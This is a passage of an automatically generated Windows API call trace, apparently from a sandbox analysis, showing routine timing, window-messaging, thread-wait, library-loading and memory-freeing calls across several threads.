QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25008836303) returned 1 [0246.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25008849715) returned 1 [0246.801] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25010398669) returned 1 [0246.801] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25010414785) returned 1 [0246.833] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25013519830) returned 1 [0246.833] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25013535736) returned 1 [0246.848] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25015112631) returned 1 [0246.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25015127059) returned 1 [0246.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25016652654) returned 1 [0246.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25016667028) returned 1 [0246.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25019765944) returned 1 [0246.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25019780366) returned 1 [0246.926] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25022887990) returned 1 [0246.926] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25022899782) returned 1 [0246.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25024468933) returned 1 [0246.942] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25024481551) returned 1 [0246.958] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25026042397) returned 1 [0246.958] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25026057541) returned 1 [0246.996] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25029888463) returned 1 [0246.996] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25029903796) returned 1 [0247.020] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25032266943) returned 1 [0247.020] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25032281148) returned 1 [0247.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25033844232) returned 1 [0247.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25033857590) returned 1 [0247.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25036982948) returned 1 [0247.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25036996106) returned 1 [0247.083] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25038519092) returned 1 [0247.083] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25038532808) returned 1 [0247.114] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25041636664) returned 1 [0247.114] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25041649813) returned 1 [0247.175] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25047801102) returned 1 [0247.175] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25047814554) returned 1 [0247.176] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25047839044) returned 1 [0247.176] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25047847772) returned 1 [0247.176] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25047884204) returned 1 [0247.176] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25047891458) returned 1 [0247.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25049463821) returned 1 [0247.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25049477563) returned 1 [0247.223] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25052593589) returned 1 [0247.223] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25052608361) returned 1 [0247.254] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25055710140) returned 1 [0247.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25055723195) returned 1 [0247.270] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25057269840) returned 1 [0247.270] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25057277900) returned 1 [0247.301] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25060389679) returned 1 [0247.301] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25060402194) returned 1 [0247.317] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25061964563) returned 1 [0247.317] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25061975623) returned 1 [0247.332] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25063515813) returned 1 [0247.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25063527913) returned 1 [0247.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25066642831) returned 1 [0247.364] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25066655654) returned 1 [0247.380] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25068228749) returned 1 [0247.380] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25068247312) returned 1 [0247.411] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25071354470) returned 1 [0247.411] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25071368130) returned 1 [0247.426] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25072908596) returned 1 [0247.427] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25072924386) returned 1 [0247.458] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25076023708) returned 1 [0247.458] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25076038645) returned 1 [0247.489] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25079143875) returned 1 [0247.489] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25079156797) returned 1 [0247.504] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25080714912) returned 1 [0247.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25080726169) returned 1 [0247.520] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25082282110) returned 1 [0247.520] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25082294909) returned 1 [0247.551] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25085394838) returned 1 [0247.551] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25085408062) returned 1 [0247.567] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25086981440) returned 1 [0247.567] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25086997938) returned 1 [0247.598] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25090086014) returned 1 [0247.598] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25090098992) returned 1 [0247.629] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25093205945) returned 1 [0247.630] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25093219148) returned 1 [0247.645] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25094793488) returned 1 [0247.645] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25094809617) returned 1 [0247.677] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25097952049) returned 1 [0247.677] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25097967005) returned 1 [0247.707] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25101014431) returned 1 [0247.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25101029240) returned 1 [0247.746] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25104851978) returned 1 [0247.746] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25104866963) returned 1 [0247.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25105741217) returned 1 [0247.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25105755772) returned 1 [0247.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25108846310) returned 1 [0247.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25108861198) returned 1 [0247.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25111964882) returned 1 [0247.817] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25111979294) returned 1 [0247.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25115147409) returned 1 [0247.849] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25115162863) returned 1 [0247.873] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25117596082) returned 1 [0247.873] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25117612460) returned 1 [0247.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25119767725) returned 1 [0247.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25119780718) returned 1 [0247.911] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25121329759) returned 1 [0247.911] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25121340176) returned 1 [0248.355] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25165802835) returned 1 [0248.356] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25165818115) returned 1 [0248.406] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25170901689) returned 1 [0248.406] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25170915474) returned 1 [0248.411] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25171321298) returned 1 [0248.411] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25171329804) returned 1 [0248.426] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25172895020) returned 1 [0248.426] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25172907113) returned 1 [0248.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25174467188) returned 1 [0248.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25174483077) returned 1 [0248.473] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25177575473) returned 1 [0248.473] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25177588683) returned 1 [0248.504] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25180701209) returned 1 [0248.505] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25180716944) returned 1 [0248.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25183828129) returned 1 [0248.536] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25183841730) returned 1 [0248.551] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25185404372) returned 1 [0248.552] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25185417866) returned 1 [0248.583] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25188526927) returned 1 [0248.583] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25188540321) returned 1 [0248.598] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25190075936) returned 1 [0248.598] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25190088751) returned 1 [0248.614] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25191647787) returned 1 [0248.614] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25191658518) returned 1 [0248.645] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25194770676) returned 1 [0248.645] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25194779606) returned 1 [0248.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25196342863) returned 1 [0248.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25196356474) returned 1 [0248.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25199487204) returned 1 [0248.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25199502032) returned 1 [0248.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25202575596) returned 1 [0248.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25202590323) returned 1 [0248.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25204661853) returned 1 [0248.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25204675455) returned 1 [0248.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25205722892) returned 1 [0248.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25205732732) returned 1 [0248.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25208859428) returned 1 [0248.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25208874350) returned 1 [0248.801] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25210394747) returned 1 [0248.801] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25210409762) returned 1 [0248.833] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25213523491) returned 1 [0248.833] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25213542608) returned 1 [0248.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25216672018) returned 1 [0248.864] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25216690501) returned 1 [0248.880] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25218218312) returned 1 [0248.880] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25218234154) returned 1 [0248.895] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25219805540) returned 1 [0248.896] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25219820932) returned 1 [0248.926] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25222895262) returned 1 [0248.926] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25222909890) returned 1 [0248.958] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25226034568) returned 1 [0248.958] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25226049878) returned 1 [0248.974] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25227625675) returned 1 [0248.974] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25227640258) returned 1 [0249.016] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25231857994) returned 1 [0249.016] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25231872760) returned 1 [0249.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25233832641) returned 1 [0249.036] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25233848051) returned 1 [0249.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25236958263) returned 1 [0249.067] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25236971102) returned 1 [0249.098] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25240102814) returned 1 [0249.099] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25240118227) returned 1 [0249.134] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25243702196) returned 1 [0249.135] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25243716840) returned 1 [0249.161] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25246368145) returned 1 [0249.161] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25246381677) returned 1 [0249.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25249458606) returned 1 [0249.192] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25249470723) returned 1 [0249.223] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25252603594) returned 1 [0249.224] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.224] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0d3dd3, lParam=0x3d09) returned 1 [0249.224] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25252644179) returned 1 [0249.239] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25254177616) returned 1 [0249.239] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.239] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0d7b50, lParam=0x3d09) returned 1 [0249.239] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25254216068) returned 1 [0249.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25255748714) returned 1 [0249.255] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.255] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0db8af, lParam=0x3d09) returned 1 [0249.255] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25255787214) returned 1 [0249.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25258833956) returned 1 [0249.286] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.286] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0e3133, lParam=0x3d09) returned 1 [0249.286] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25258867838) returned 1 [0249.302] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25260486080) returned 1 [0249.302] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.302] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0e71bc, lParam=0x3d09) returned 1 [0249.303] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25260530995) returned 1 [0249.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25263559143) returned 1 [0249.333] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.333] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0ee9c7, lParam=0x3d09) returned 1 [0249.333] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25263588147) returned 1 [0249.348] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25265093735) returned 1 [0249.348] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.348] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0f25b9, lParam=0x3d09) returned 1 [0249.349] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25265128931) returned 1 [0249.379] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25268212645) returned 1 [0249.380] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.380] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xf0f9f8e, lParam=0x3d09) returned 1 [0249.380] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25268241726) returned 1 [0249.395] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25269781099) returned 1 Thread: id = 52 os_tid = 0xf9c [0225.070] GetCurrentThreadId () returned 0xf9c [0225.070] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72a18920, phModule=0x51ff9b0 | out: phModule=0x51ff9b0*=0x726c0000) returned 1 [0225.070] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=22837280527) returned 1 [0225.071] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0225.071] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=22837340735) returned 1 [0225.071] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0231.941] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=23524413948) returned 1 [0231.942] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x63) returned 0x102 [0232.047] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=23534971694) returned 1 [0232.047] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0232.048] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0241.483] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=24478570028) returned 1 [0241.483] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x61) returned 0x102 [0241.588] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=24489028178) returned 1 [0241.588] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0241.650] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=24495250961) returned 1 [0241.650] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x1e) returned 0x102 [0241.682] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=24498416987) returned 1 [0241.682] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0249.216] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=25251842955) returned 1 [0249.216] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x51) returned 0x102 [0249.393] QueryPerformanceCounter (in: lpPerformanceCount=0x51ff960 | out: lpPerformanceCount=0x51ff960*=25269529554) returned 1 [0249.393] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0249.506] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0249.506] GetCurrentThreadId () returned 0xf9c Thread: id = 53 os_tid = 0xc48 Thread: id = 54 os_tid = 0xd98 [0227.829] GetCurrentThreadId () returned 0xd98 Thread: id = 55 os_tid = 0xf40 [0227.993] GetCurrentThreadId () returned 0xf40 Thread: id = 56 os_tid = 0x9e4 [0239.458] GetCurrentThreadId () returned 0x9e4 [0239.459] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\System32\\jscript9.dll", phModule=0x666fcc4 | out: phModule=0x666fcc4*=0x71620000) returned 1 [0239.459] SetEvent (hEvent=0x4ac) returned 1 [0239.463] GetCurrentThread () returned 0xfffffffe [0239.463] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0244.790] GetTickCount () returned 0x3c8fe [0244.790] VirtualFree (lpAddress=0x65d4000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.790] VirtualFree (lpAddress=0x65d5000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.791] VirtualFree (lpAddress=0x65d7000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.791] VirtualFree (lpAddress=0x65d8000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.791] VirtualFree (lpAddress=0x65d9000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.791] 